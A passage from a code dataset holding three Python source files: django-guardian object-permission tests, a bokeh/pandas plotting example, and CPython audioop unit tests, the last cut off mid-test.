self.assertTrue(self.user.has_perm('change_contenttype', self.obj1)) UserObjectPermission.objects.remove_perm('change_contenttype', self.user, self.obj1) UserObjectPermission.objects.remove_perm('change_contenttype', self.user, self.obj2) self.assertFalse(self.user.has_perm('change_contenttype', self.obj2)) self.assertFalse(self.user.has_perm('change_contenttype', self.obj1)) def test_get_for_object(self): perms = UserObjectPermission.objects.get_for_object(self.user, self.ctype) self.assertEqual(perms.count(), 0) to_assign = sorted([ 'delete_contenttype', 'change_contenttype', ]) for perm in to_assign: UserObjectPermission.objects.assign(perm, self.user, self.ctype) perms = UserObjectPermission.objects.get_for_object(self.user, self.ctype) codenames = sorted(chain(*perms.values_list('permission__codename'))) self.assertEqual(to_assign, codenames) def test_assign_validation(self): self.assertRaises(Permission.DoesNotExist, UserObjectPermission.objects.assign, 'change_group', self.user, self.user) group = Group.objects.create(name='test_group_assign_validation') ctype = ContentType.objects.get_for_model(group) perm = Permission.objects.get(codename='change_user') create_info = dict( permission = perm, user = self.user, content_type = ctype, object_pk = group.pk ) self.assertRaises(ValidationError, UserObjectPermission.objects.create, **create_info) def test_unicode(self): obj_perm = UserObjectPermission.objects.assign("change_user", self.user, self.user) self.assertTrue(isinstance(obj_perm.__unicode__(), unicode)) def test_errors(self): not_saved_user = User(username='not_saved_user') self.assertRaises(ObjectNotPersisted, UserObjectPermission.objects.assign, "change_user", self.user, not_saved_user) self.assertRaises(ObjectNotPersisted, UserObjectPermission.objects.remove_perm, "change_user", self.user, not_saved_user) self.assertRaises(ObjectNotPersisted, UserObjectPermission.objects.get_for_object, "change_user", not_saved_user) class GroupPermissionTests(TestCase): fixtures = ['tests.json'] def setUp(self): self.user = User.objects.get(username='jack') self.group, created = Group.objects.get_or_create(name='jackGroup') self.user.groups.add(self.group) self.ctype = ContentType.objects.create(name='foo', model='bar', app_label='fake-for-guardian-tests') self.obj1 = ContentType.objects.create(name='ct1', model='foo', app_label='guardian-tests') self.obj2 = ContentType.objects.create(name='ct2', model='bar', app_label='guardian-tests') def test_assignement(self): self.assertFalse(self.user.has_perm('change_contenttype', self.ctype)) self.assertFalse(self.user.has_perm('contenttypes.change_contenttype', self.ctype)) GroupObjectPermission.objects.assign('change_contenttype', self.group, self.ctype) self.assertTrue(self.user.has_perm('change_contenttype', self.ctype)) self.assertTrue(self.user.has_perm('contenttypes.change_contenttype', self.ctype)) def test_assignement_and_remove(self): GroupObjectPermission.objects.assign('change_contenttype', self.group, self.ctype) self.assertTrue(self.user.has_perm('change_contenttype', self.ctype)) GroupObjectPermission.objects.remove_perm('change_contenttype', self.group, self.ctype) self.assertFalse(self.user.has_perm('change_contenttype', self.ctype)) def test_ctypes(self): GroupObjectPermission.objects.assign('change_contenttype', self.group, self.obj1) self.assertTrue(self.user.has_perm('change_contenttype', self.obj1)) self.assertFalse(self.user.has_perm('change_contenttype', self.obj2)) GroupObjectPermission.objects.remove_perm('change_contenttype', self.group, self.obj1) GroupObjectPermission.objects.assign('change_contenttype', self.group, self.obj2) self.assertTrue(self.user.has_perm('change_contenttype', self.obj2)) self.assertFalse(self.user.has_perm('change_contenttype', self.obj1)) GroupObjectPermission.objects.assign('change_contenttype', self.group, self.obj1) GroupObjectPermission.objects.assign('change_contenttype', self.group, self.obj2) self.assertTrue(self.user.has_perm('change_contenttype', self.obj2)) self.assertTrue(self.user.has_perm('change_contenttype', self.obj1)) GroupObjectPermission.objects.remove_perm('change_contenttype', self.group, self.obj1) GroupObjectPermission.objects.remove_perm('change_contenttype', self.group, self.obj2) self.assertFalse(self.user.has_perm('change_contenttype', self.obj2)) self.assertFalse(self.user.has_perm('change_contenttype', self.obj1)) def test_get_for_object(self): group = Group.objects.create(name='get_group_perms_for_object') self.user.groups.add(group) perms = GroupObjectPermission.objects.get_for_object(group, self.ctype) self.assertEqual(perms.count(), 0) to_assign = sorted([ 'delete_contenttype', 'change_contenttype', ]) for perm in to_assign: GroupObjectPermission.objects.assign(perm, group, self.ctype) perms = GroupObjectPermission.objects.get_for_object(group, self.ctype) codenames = sorted(chain(*perms.values_list('permission__codename'))) self.assertEqual(to_assign, codenames) def test_assign_validation(self): self.assertRaises(Permission.DoesNotExist, GroupObjectPermission.objects.assign, 'change_user', self.group, self.group) user = User.objects.create(username='test_user_assign_validation') ctype = ContentType.objects.get_for_model(user) perm = Permission.objects.get(codename='change_group') create_info = dict( permission = perm, group = self.group, content_type = ctype, object_pk = user.pk ) self.assertRaises(ValidationError, GroupObjectPermission.objects.create, **create_info) def test_unicode(self): obj_perm = GroupObjectPermission.objects.assign("change_group", self.group, self.group) self.assertTrue(isinstance(obj_perm.__unicode__(), unicode)) def test_errors(self): not_saved_group = Group(name='not_saved_group') self.assertRaises(ObjectNotPersisted, GroupObjectPermission.objects.assign, "change_group", self.group, not_saved_group) self.assertRaises(ObjectNotPersisted, GroupObjectPermission.objects.remove_perm, "change_group", self.group, not_saved_group) self.assertRaises(ObjectNotPersisted, GroupObjectPermission.objects.get_for_object, "change_group", not_saved_group) class ObjectPermissionBackendTests(TestCase): def setUp(self): self.user = User.objects.create(username='jack') self.backend = ObjectPermissionBackend() def test_attrs(self): self.assertTrue(self.backend.supports_anonymous_user) self.assertTrue(self.backend.supports_object_permissions) self.assertTrue(self.backend.supports_inactive_user) def test_authenticate(self): self.assertEqual(self.backend.authenticate( self.user.username, self.user.password), None) def test_has_perm_noobj(self): result = self.backend.has_perm(self.user, "change_contenttype") self.assertFalse(result) def test_has_perm_notauthed(self): user = AnonymousUser() self.assertFalse(self.backend.has_perm(user, "change_user", self.user)) def test_has_perm_wrong_app(self): self.assertRaises(WrongAppError, self.backend.has_perm, self.user, "no_app.change_user", self.user) def test_obj_is_not_model(self): for obj in (Group, 666, "String", [2, 1, 5, 7], {}): self.assertFalse(self.backend.has_perm(self.user, "any perm", obj)) def test_not_active_user(self): user = User.objects.create(username='non active user') ctype = ContentType.objects.create(name='foo', model='bar', app_label='fake-for-guardian-tests') perm = 'change_contenttype' UserObjectPermission.objects.assign(perm, user, ctype) self.assertTrue(self.backend.has_perm(user, perm, ctype)) user.is_active = False user.save() self.assertFalse(self.backend.has_perm(user, perm, ctype)) class GuardianBaseTests(TestCase): def has_attrs(self): self.assertTrue(hasattr(guardian, '__version__')) def test_version(self): for x in guardian.VERSION: self.assertTrue(isinstance(x, (int, str))) def test_get_version(self): self.assertTrue(isinstance(guardian.get_version(), str)) class TestExceptions(TestCase): def _test_error_class(self, exc_cls): self.assertTrue(isinstance(exc_cls, GuardianError)) def test_error_classes(self): self.assertTrue(isinstance(GuardianError(), Exception)) guardian_errors = [NotUserNorGroup] for err in guardian_errors: self._test_error_class(err())
sumit4iit/django-guardian
guardian/tests/other_test.py
Python
bsd-2-clause
12,625
import numpy as np import pandas as pd from bokeh import mpl from bokeh.plotting import show ts = pd.Series(np.random.randn(1000), index=pd.date_range('1/1/2000', periods=1000)) ts = ts.cumsum() df = pd.DataFrame(np.random.randn(1000, 4), index=ts.index, columns=list('ABCD')) df = df.cumsum() df.plot(legend=False) show(mpl.to_bokeh(name="dataframe"))
zrhans/python
exemplos/Examples.lnk/bokeh/compat/pandas/dataframe.py
Python
gpl-2.0
356
import audioop import sys import unittest def pack(width, data): return b''.join(v.to_bytes(width, sys.byteorder, signed=True) for v in data) def unpack(width, data): return [int.from_bytes(data[i: i + width], sys.byteorder, signed=True) for i in range(0, len(data), width)] packs = {w: (lambda *data, width=w: pack(width, data)) for w in (1, 2, 3, 4)} maxvalues = {w: (1 << (8 * w - 1)) - 1 for w in (1, 2, 3, 4)} minvalues = {w: -1 << (8 * w - 1) for w in (1, 2, 3, 4)} datas = { 1: b'\x00\x12\x45\xbb\x7f\x80\xff', 2: packs[2](0, 0x1234, 0x4567, -0x4567, 0x7fff, -0x8000, -1), 3: packs[3](0, 0x123456, 0x456789, -0x456789, 0x7fffff, -0x800000, -1), 4: packs[4](0, 0x12345678, 0x456789ab, -0x456789ab, 0x7fffffff, -0x80000000, -1), } INVALID_DATA = [ (b'abc', 0), (b'abc', 2), (b'ab', 3), (b'abc', 4), ] class TestAudioop(unittest.TestCase): def test_max(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.max(b'', w), 0) self.assertEqual(audioop.max(bytearray(), w), 0) self.assertEqual(audioop.max(memoryview(b''), w), 0) p = packs[w] self.assertEqual(audioop.max(p(5), w), 5) self.assertEqual(audioop.max(p(5, -8, -1), w), 8) self.assertEqual(audioop.max(p(maxvalues[w]), w), maxvalues[w]) self.assertEqual(audioop.max(p(minvalues[w]), w), -minvalues[w]) self.assertEqual(audioop.max(datas[w], w), -minvalues[w]) def test_minmax(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.minmax(b'', w), (0x7fffffff, -0x80000000)) self.assertEqual(audioop.minmax(bytearray(), w), (0x7fffffff, -0x80000000)) self.assertEqual(audioop.minmax(memoryview(b''), w), (0x7fffffff, -0x80000000)) p = packs[w] self.assertEqual(audioop.minmax(p(5), w), (5, 5)) self.assertEqual(audioop.minmax(p(5, -8, -1), w), (-8, 5)) self.assertEqual(audioop.minmax(p(maxvalues[w]), w), (maxvalues[w], maxvalues[w])) self.assertEqual(audioop.minmax(p(minvalues[w]), w), (minvalues[w], minvalues[w])) self.assertEqual(audioop.minmax(datas[w], w), (minvalues[w], maxvalues[w])) def test_maxpp(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.maxpp(b'', w), 0) self.assertEqual(audioop.maxpp(bytearray(), w), 0) self.assertEqual(audioop.maxpp(memoryview(b''), w), 0) self.assertEqual(audioop.maxpp(packs[w](*range(100)), w), 0) self.assertEqual(audioop.maxpp(packs[w](9, 10, 5, 5, 0, 1), w), 10) self.assertEqual(audioop.maxpp(datas[w], w), maxvalues[w] - minvalues[w]) def test_avg(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.avg(b'', w), 0) self.assertEqual(audioop.avg(bytearray(), w), 0) self.assertEqual(audioop.avg(memoryview(b''), w), 0) p = packs[w] self.assertEqual(audioop.avg(p(5), w), 5) self .assertEqual(audioop.avg(p(5, 8), w), 6) self.assertEqual(audioop.avg(p(5, -8), w), -2) self.assertEqual(audioop.avg(p(maxvalues[w], maxvalues[w]), w), maxvalues[w]) self.assertEqual(audioop.avg(p(minvalues[w], minvalues[w]), w), minvalues[w]) self.assertEqual(audioop.avg(packs[4](0x50000000, 0x70000000), 4), 0x60000000) self.assertEqual(audioop.avg(packs[4](-0x50000000, -0x70000000), 4), -0x60000000) def test_avgpp(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.avgpp(b'', w), 0) self.assertEqual(audioop.avgpp(bytearray(), w), 0) self.assertEqual(audioop.avgpp(memoryview(b''), w), 0) self.assertEqual(audioop.avgpp(packs[w](*range(100)), w), 0) self.assertEqual(audioop.avgpp(packs[w](9, 10, 5, 5, 0, 1), w), 10) self.assertEqual(audioop.avgpp(datas[1], 1), 196) self.assertEqual(audioop.avgpp(datas[2], 2), 50534) self.assertEqual(audioop.avgpp(datas[3], 3), 12937096) self.assertEqual(audioop.avgpp(datas[4], 4), 3311897002) def test_rms(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.rms(b'', w), 0) self.assertEqual(audioop.rms(bytearray(), w), 0) self.assertEqual(audioop.rms(memoryview(b''), w), 0) p = packs[w] self.assertEqual(audioop.rms(p(*range(100)), w), 57) self.assertAlmostEqual(audioop.rms(p(maxvalues[w]) * 5, w), maxvalues[w], delta=1) self.assertAlmostEqual(audioop.rms(p(minvalues[w]) * 5, w), -minvalues[w], delta=1) self.assertEqual(audioop.rms(datas[1], 1), 77) self.assertEqual(audioop.rms(datas[2], 2), 20001) self.assertEqual(audioop.rms(datas[3], 3), 5120523) self.assertEqual(audioop.rms(datas[4], 4), 1310854152) def test_cross(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.cross(b'', w), -1) self.assertEqual(audioop.cross(bytearray(), w), -1) self.assertEqual(audioop.cross(memoryview(b''), w), -1) p = packs[w] self.assertEqual(audioop.cross(p(0, 1, 2), w), 0) self.assertEqual(audioop.cross(p(1, 2, -3, -4), w), 1) self.assertEqual(audioop.cross(p(-1, -2, 3, 4), w), 1) self.assertEqual(audioop.cross(p(0, minvalues[w]), w), 1) self.assertEqual(audioop.cross(p(minvalues[w], maxvalues[w]), w), 1) def test_add(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.add(b'', b'', w), b'') self.assertEqual(audioop.add(bytearray(), bytearray(), w), b'') self.assertEqual(audioop.add(memoryview(b''), memoryview(b''), w), b'') self.assertEqual(audioop.add(datas[w], b'\0' * len(datas[w]), w), datas[w]) self.assertEqual(audioop.add(datas[1], datas[1], 1), b'\x00\x24\x7f\x80\x7f\x80\xfe') self.assertEqual(audioop.add(datas[2], datas[2], 2), packs[2](0, 0x2468, 0x7fff, -0x8000, 0x7fff, -0x8000, -2)) self.assertEqual(audioop.add(datas[3], datas[3], 3), packs[3](0, 0x2468ac, 0x7fffff, -0x800000, 0x7fffff, -0x800000, -2)) self.assertEqual(audioop.add(datas[4], datas[4], 4), packs[4](0, 0x2468acf0, 0x7fffffff, -0x80000000, 0x7fffffff, -0x80000000, -2)) def test_bias(self): for w in 1, 2, 3, 4: for bias in 0, 1, -1, 127, -128, 0x7fffffff, -0x80000000: self.assertEqual(audioop.bias(b'', w, bias), b'') self.assertEqual(audioop.bias(bytearray(), w, bias), b'') self.assertEqual(audioop.bias(memoryview(b''), w, bias), b'') self.assertEqual(audioop.bias(datas[1], 1, 1), b'\x01\x13\x46\xbc\x80\x81\x00') self.assertEqual(audioop.bias(datas[1], 1, -1), b'\xff\x11\x44\xba\x7e\x7f\xfe') self.assertEqual(audioop.bias(datas[1], 1, 0x7fffffff), b'\xff\x11\x44\xba\x7e\x7f\xfe') self.assertEqual(audioop.bias(datas[1], 1, -0x80000000), datas[1]) self.assertEqual(audioop.bias(datas[2], 2, 1), packs[2](1, 0x1235, 0x4568, -0x4566, -0x8000, -0x7fff, 0)) self.assertEqual(audioop.bias(datas[2], 2, -1), packs[2](-1, 0x1233, 0x4566, -0x4568, 0x7ffe, 0x7fff, -2)) self.assertEqual(audioop.bias(datas[2], 2, 0x7fffffff), packs[2](-1, 0x1233, 0x4566, -0x4568, 0x7ffe, 0x7fff, -2)) self.assertEqual(audioop.bias(datas[2], 2, -0x80000000), datas[2]) self.assertEqual(audioop.bias(datas[3], 3, 1), packs[3](1, 0x123457, 0x45678a, -0x456788, -0x800000, -0x7fffff, 0)) self.assertEqual(audioop.bias(datas[3], 3, -1), packs[3](-1, 0x123455, 0x456788, -0x45678a, 0x7ffffe, 0x7fffff, -2)) self.assertEqual(audioop.bias(datas[3], 3, 0x7fffffff), packs[3](-1, 0x123455, 0x456788, -0x45678a, 0x7ffffe, 0x7fffff, -2)) self.assertEqual(audioop.bias(datas[3], 3, -0x80000000), datas[3]) self.assertEqual(audioop.bias(datas[4], 4, 1), packs[4](1, 0x12345679, 0x456789ac, -0x456789aa, -0x80000000, -0x7fffffff, 0)) self.assertEqual(audioop.bias(datas[4], 4, -1), packs[4](-1, 0x12345677, 0x456789aa, -0x456789ac, 0x7ffffffe, 0x7fffffff, -2)) self.assertEqual(audioop.bias(datas[4], 4, 0x7fffffff), packs[4](0x7fffffff, -0x6dcba989, -0x3a987656, 0x3a987654, -2, -1, 0x7ffffffe)) self.assertEqual(audioop.bias(datas[4], 4, -0x80000000), packs[4](-0x80000000, -0x6dcba988, -0x3a987655, 0x3a987655, -1, 0, 0x7fffffff)) def test_lin2lin(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.lin2lin(datas[w], w, w), datas[w]) self.assertEqual(audioop.lin2lin(bytearray(datas[w]), w, w), datas[w]) self.assertEqual(audioop.lin2lin(memoryview(datas[w]), w, w), datas[w]) self.assertEqual(audioop.lin2lin(datas[1], 1, 2), packs[2](0, 0x1200, 0x4500, -0x4500, 0x7f00, -0x8000, -0x100)) self.assertEqual(audioop.lin2lin(datas[1], 1, 3), packs[3](0, 0x120000, 0x450000, -0x450000, 0x7f0000, -0x800000, -0x10000)) self.assertEqual(audioop.lin2lin(datas[1], 1, 4), packs[4](0, 0x12000000, 0x45000000, -0x45000000, 0x7f000000, -0x80000000, -0x1000000)) self.assertEqual(audioop.lin2lin(datas[2], 2, 1), b'\x00\x12\x45\xba\x7f\x80\xff') self.assertEqual(audioop.lin2lin(datas[2], 2, 3), packs[3](0, 0x123400, 0x456700, -0x456700, 0x7fff00, -0x800000, -0x100)) self.assertEqual(audioop.lin2lin(datas[2], 2, 4), packs[4](0, 0x12340000, 0x45670000, -0x45670000, 0x7fff0000, -0x80000000, -0x10000)) self.assertEqual(audioop.lin2lin(datas[3], 3, 1), b'\x00\x12\x45\xba\x7f\x80\xff') self.assertEqual(audioop.lin2lin(datas[3], 3, 2), packs[2](0, 0x1234, 0x4567, -0x4568, 0x7fff, -0x8000, -1)) self.assertEqual(audioop.lin2lin(datas[3], 3, 4), packs[4](0, 0x12345600, 0x45678900, -0x45678900, 0x7fffff00, -0x80000000, -0x100)) self.assertEqual(audioop.lin2lin(datas[4], 4, 1), b'\x00\x12\x45\xba\x7f\x80\xff') self.assertEqual(audioop.lin2lin(datas[4], 4, 2), packs[2](0, 0x1234, 0x4567, -0x4568, 0x7fff, -0x8000, -1)) self.assertEqual(audioop.lin2lin(datas[4], 4, 3), packs[3](0, 0x123456, 0x456789, -0x45678a, 0x7fffff, -0x800000, -1)) def test_adpcm2lin(self): self.assertEqual(audioop.adpcm2lin(b'\x07\x7f\x7f', 1, None), (b'\x00\x00\x00\xff\x00\xff', (-179, 40))) self.assertEqual(audioop.adpcm2lin(bytearray(b'\x07\x7f\x7f'), 1, None), (b'\x00\x00\x00\xff\x00\xff', (-179, 40))) self.assertEqual(audioop.adpcm2lin(memoryview(b'\x07\x7f\x7f'), 1, None), (b'\x00\x00\x00\xff\x00\xff', (-179, 40))) self.assertEqual(audioop.adpcm2lin(b'\x07\x7f\x7f', 2, None), (packs[2](0, 0xb, 0x29, -0x16, 0x72, -0xb3), (-179, 40))) self.assertEqual(audioop.adpcm2lin(b'\x07\x7f\x7f', 3, None), (packs[3](0, 0xb00, 0x2900, -0x1600, 0x7200, -0xb300), (-179, 40))) self.assertEqual(audioop.adpcm2lin(b'\x07\x7f\x7f', 4, None), (packs[4](0, 0xb0000, 0x290000, -0x160000, 0x720000, -0xb30000), (-179, 40))) # Very cursory test for w in 1, 2, 3, 4: self.assertEqual(audioop.adpcm2lin(b'\0' * 5, w, None), (b'\0' * w * 10, (0, 0))) def test_lin2adpcm(self): self.assertEqual(audioop.lin2adpcm(datas[1], 1, None), (b'\x07\x7f\x7f', (-221, 39))) self.assertEqual(audioop.lin2adpcm(bytearray(datas[1]), 1, None), (b'\x07\x7f\x7f', (-221, 39))) self.assertEqual(audioop.lin2adpcm(memoryview(datas[1]), 1, None), (b'\x07\x7f\x7f', (-221, 39))) for w in 2, 3, 4: self.assertEqual(audioop.lin2adpcm(datas[w], w, None), (b'\x07\x7f\x7f', (31, 39))) # Very cursory test for w in 1, 2, 3, 4: self.assertEqual(audioop.lin2adpcm(b'\0' * w * 10, w, None), (b'\0' * 5, (0, 0))) def test_invalid_adpcm_state(self): # state must be a tuple or None, not an integer self.assertRaises(TypeError, audioop.adpcm2lin, b'\0', 1, 555) self.assertRaises(TypeError, audioop.lin2adpcm, b'\0', 1, 555) # Issues #24456, #24457: index out of range self.assertRaises(ValueError, audioop.adpcm2lin, b'\0', 1, (0, -1)) self.assertRaises(ValueError, audioop.adpcm2lin, b'\0', 1, (0, 89)) self.assertRaises(ValueError, audioop.lin2adpcm, b'\0', 1, (0, -1)) self.assertRaises(ValueError, audioop.lin2adpcm, b'\0', 1, (0, 89)) # value out of range self.assertRaises(ValueError, audioop.adpcm2lin, b'\0', 1, (-0x8001, 0)) self.assertRaises(ValueError, audioop.adpcm2lin, b'\0', 1, (0x8000, 0)) self.assertRaises(ValueError, audioop.lin2adpcm, b'\0', 1, (-0x8001, 0)) self.assertRaises(ValueError, audioop.lin2adpcm, b'\0', 1, (0x8000, 0)) def test_lin2alaw(self): self.assertEqual(audioop.lin2alaw(datas[1], 1), b'\xd5\x87\xa4\x24\xaa\x2a\x5a') self.assertEqual(audioop.lin2alaw(bytearray(datas[1]), 1), b'\xd5\x87\xa4\x24\xaa\x2a\x5a') self.assertEqual(audioop.lin2alaw(memoryview(datas[1]), 1), b'\xd5\x87\xa4\x24\xaa\x2a\x5a') for w in 2, 3, 4: self.assertEqual(audioop.lin2alaw(datas[w], w), b'\xd5\x87\xa4\x24\xaa\x2a\x55') def test_alaw2lin(self): encoded = b'\x00\x03\x24\x2a\x51\x54\x55\x58\x6b\x71\x7f'\ b'\x80\x83\xa4\xaa\xd1\xd4\xd5\xd8\xeb\xf1\xff' src = [-688, -720, -2240, -4032, -9, -3, -1, -27, -244, -82, -106, 688, 720, 2240, 4032, 9, 3, 1, 27, 244, 82, 106] for w in 1, 2, 3, 4: decoded = packs[w](*(x << (w * 8) >> 13 for x in src)) self.assertEqual(audioop.alaw2lin(encoded, w), decoded) self.assertEqual(audioop.alaw2lin(bytearray(encoded), w), decoded) self.assertEqual(audioop.alaw2lin(memoryview(encoded), w), decoded) encoded = bytes(range(256)) for w in 2, 3, 4: decoded = audioop.alaw2lin(encoded, w) self.assertEqual(audioop.lin2alaw(decoded, w), encoded) def test_lin2ulaw(self): self.assertEqual(audioop.lin2ulaw(datas[1], 1), b'\xff\xad\x8e\x0e\x80\x00\x67') self.assertEqual(audioop.lin2ulaw(bytearray(datas[1]), 1), b'\xff\xad\x8e\x0e\x80\x00\x67') self.assertEqual(audioop.lin2ulaw(memoryview(datas[1]), 1), b'\xff\xad\x8e\x0e\x80\x00\x67') for w in 2, 3, 4: self.assertEqual(audioop.lin2ulaw(datas[w], w), b'\xff\xad\x8e\x0e\x80\x00\x7e') def test_ulaw2lin(self): encoded = b'\x00\x0e\x28\x3f\x57\x6a\x76\x7c\x7e\x7f'\ b'\x80\x8e\xa8\xbf\xd7\xea\xf6\xfc\xfe\xff' src = [-8031, -4447, -1471, -495, -163, -53, -18, -6, -2, 0, 8031, 4447, 1471, 495, 163, 53, 18, 6, 2, 0] for w in 1, 2, 3, 4: decoded = packs[w](*(x << (w * 8) >> 14 for x in src)) self.assertEqual(audioop.ulaw2lin(encoded, w), decoded) self.assertEqual(audioop.ulaw2lin(bytearray(encoded), w), decoded) self.assertEqual(audioop.ulaw2lin(memoryview(encoded), w), decoded) # Current u-law implementation has two codes fo 0: 0x7f and 0xff. encoded = bytes(range(127)) + bytes(range(128, 256)) for w in 2, 3, 4: decoded = audioop.ulaw2lin(encoded, w) self.assertEqual(audioop.lin2ulaw(decoded, w), encoded) def test_mul(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.mul(b'', w, 2), b'') self.assertEqual(audioop.mul(bytearray(), w, 2), b'') self.assertEqual(audioop.mul(memoryview(b''), w, 2), b'') self.assertEqual(audioop.mul(datas[w], w, 0), b'\0' * len(datas[w])) self.assertEqual(audioop.mul(datas[w], w, 1), datas[w]) self.assertEqual(audioop.mul(datas[1], 1, 2), b'\x00\x24\x7f\x80\x7f\x80\xfe') self.assertEqual(audioop.mul(datas[2], 2, 2), packs[2](0, 0x2468, 0x7fff, -0x8000, 0x7fff, -0x8000, -2)) self.assertEqual(audioop.mul(datas[3], 3, 2), packs[3](0, 0x2468ac, 0x7fffff, -0x800000, 0x7fffff, -0x800000, -2)) self.assertEqual(audioop.mul(datas[4], 4, 2), packs[4](0, 0x2468acf0, 0x7fffffff, -0x80000000, 0x7fffffff, -0x80000000, -2)) def test_ratecv(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.ratecv(b'', w, 1, 8000, 8000, None), (b'', (-1, ((0, 0),)))) self.assertEqual(audioop.ratecv(bytearray(), w, 1, 8000, 8000, None), (b'', (-1, ((0, 0),)))) self.assertEqual(audioop.ratecv(memoryview(b''), w, 1, 8000, 8000, None), (b'', (-1, ((0, 0),)))) self.assertEqual(audioop.ratecv(b'', w, 5, 8000, 8000, None), (b'', (-1, ((0, 0),) * 5))) self.assertEqual(audioop.ratecv(b'', w, 1, 8000, 16000, None), (b'', (-2, ((0, 0),)))) self.assertEqual(audioop.ratecv(datas[w], w, 1, 8000, 8000, None)[0], datas[w]) self.assertEqual(audioop.ratecv(datas[w], w, 1, 8000, 8000, None, 1, 0)[0], datas[w]) state = None d1, state = audioop.ratecv(b'\x00\x01\x02', 1, 1, 8000, 16000, state) d2, state = audioop.ratecv(b'\x00\x01\x02', 1, 1, 8000, 16000, state) self.assertEqual(d1 + d2, b'\000\000\001\001\002\001\000\000\001\001\002') for w in 1, 2, 3, 4: d0, state0 = audioop.ratecv(datas[w], w, 1, 8000, 16000, None) d, state = b'', None for i in range(0, len(datas[w]), w): d1, state = audioop.ratecv(datas[w][i:i + w], w, 1, 8000, 16000, state) d += d1 self.assertEqual(d, d0) self.assertEqual(state, state0) expected = { 1: packs[1](0, 0x0d, 0x37, -0x26, 0x55, -0x4b, -0x14), 2: packs[2](0, 0x0da7, 0x3777, -0x2630, 0x5673, -0x4a64, -0x129a), 3: packs[3](0, 0x0da740, 0x377776, -0x262fca, 0x56740c, -0x4a62fd, -0x1298c0), 4: packs[4](0, 0x0da740da, 0x37777776, -0x262fc962, 0x56740da6, -0x4a62fc96, -0x1298bf26), } for w in 1, 2, 3, 4: self.assertEqual(audioop.ratecv(datas[w], w, 1, 8000, 8000, None, 3, 1)[0], expected[w]) self.assertEqual(audioop.ratecv(datas[w], w, 1, 8000, 8000, None, 30, 10)[0], expected[w]) def test_reverse(self): for w in 1, 2, 3, 4: self.assertEqual(audioop.reverse(b'', w), b'') self.assertEqual(audioop.reverse(bytearray(), w), b'') self.assertEqual(audioop.reverse(memoryview(b''), w), b'') self.assertEqual(audioop.reverse(packs[w](0, 1, 2), w), packs[w](2, 1, 0)) def test_tomono(self): for w in 1, 2, 3, 4: data1 = datas[w] data2 = bytearray(2 * len(data1)) for k in range(w): data2[k::2*w] = data1[k::w] self.assertEqual(audioop.tomono(data2, w, 1, 0), data1) self.assertEqual(audioop.tomono(data2, w, 0, 1), b'\0' * len(data1)) for k in range(w): data2[k+w::2*w] = data1[k::w] self.assertEqual(audioop.tomono(data2, w, 0.5, 0.5), data1) self.assertEqual(audioop.tomono(bytearray(data2), w, 0.5, 0.5), data1) self.assertEqual(audioop.tomono(memoryview(data2), w, 0.5, 0.5), data1) def test_tostereo(self): for w in 1, 2, 3, 4: data1 = datas[w] data2 = bytearray(2 * len(data1)) for k in range(w): data2[k::2*w] = data1[k::w] self.assertEqual(audioop.tostereo(data1, w, 1, 0), data2) self.assertEqual(audioop.tostereo(data1, w, 0, 0), b'\0' * len(data2)) for k in range(w): data2[k+w::2*w] = data1[k::w] self.assertEqual(audioop.tostereo(data1, w, 1, 1), data2) self.assertEqual(audioop.tostereo(bytearray(data1), w, 1, 1), data2) self.assertEqual(audioop.tostereo(memoryview(data1), w, 1, 1), data2) def test_findfactor(self): self.assertEqual(audioop.findfactor(datas[2], datas[2]), 1.0) self.assertEqual(audioop.findfactor(bytearray(datas[2]), bytearray(datas[2])), 1.0) self.assertEqual(audioop.findfactor(memoryview(datas[2]), memoryview(datas[2])), 1.0) self.assertEqual(audioop.findfactor(b'\0' * len(datas[2]), datas[2]), 0.0) def test_findfit(self): self.assertEqual(audioop.findfit(datas[2], datas[2]), (0, 1.0)) self.assertEqual(audioop.findfit(bytearray(datas[2]), bytearray(datas[2])), (0, 1.0)) self.assertEqual(audioop.findfit(memoryview(datas[2]), memoryview(datas[2])), (0, 1.0)) self.assertEqual(audioop.findfit(datas[2], packs[2](1, 2, 0)), (1, 8038.8)) self.assertEqual(audioop.findfit(datas[2][:-2] * 5 + datas[2], datas[2]), (30, 1.0)) def test_findmax(self): self.assertEqual(audioop.findmax(datas[2], 1), 5) self.assertEqual(audioop.findmax(bytearray(datas[2]), 1), 5) self.assertEqual(audioop.findmax(memoryview(datas[2]), 1), 5) def test_getsample(self): for w in 1, 2, 3, 4: data = packs[w](0, 1, -1, maxvalues[w], minvalues[w]) self.assertEqual(audioop.getsample(data, w, 0), 0) self.assertEqual(audioop.getsample(bytearray(data), w, 0), 0) self.assertEqual(audioop.getsample(memoryview(data), w, 0), 0) self.assertEqual(audioop.getsample(data, w, 1), 1) self.assertEqual(audioop.getsample(data, w, 2), -1) self.assertEqual(audioop.getsample(data, w, 3), maxvalues[w]) self.assertEqual(audioop.getsample(data, w, 4), minvalues[w]) def test_byteswap(self): swapped_datas = { 1: datas[1], 2: packs[2](0, 0x3412, 0x6745, -0x6646, -0x81, 0x80, -1), 3: packs[3](0, 0x563412, -0x7698bb, 0x7798ba, -0x81, 0x80, -1), 4: packs[4](0, 0x78563412, -0x547698bb, 0x557698ba, -0x81, 0x80, -1), } for w in 1, 2, 3, 4: self.assertEqual(audioop.byteswap(b'', w), b'') self.assertEqual(audioop.byteswap(datas[w], w), swapped_datas[w]) self.assertEqual(audioop.byteswap(swapped_datas[w], w), datas[w]) self.assertEqual(audioop.byteswap(bytearray(datas[w]), w), swapped_datas[w]) self.assertEqual(audioop.byteswap(memoryview(datas[w]), w), swapped_datas[w]) def test_negativelen(self): # from issue 3306, previously it segfaulted self.assertRaises(audioop.error, audioop.findmax, bytes(range(256)), -2392392) def test_issue7673(self): state = None for data, size in INVALID_DATA: size2 = size self.assertRaises(audioop.error, audioop.getsample, data, size, 0) self.assertRaises(audioop.error, audioop.max, data, size) self.assertRaises(audioop.error, audioop.minmax, data, size) self.assertRaises(audioop.error, audioop.avg, data, size) self.assertRaises(audioop.error, audioop.rms, data, size) self.assertRaises(audioop.error, audioop.avgpp, data, size) self.assertRaises(audioop.error, 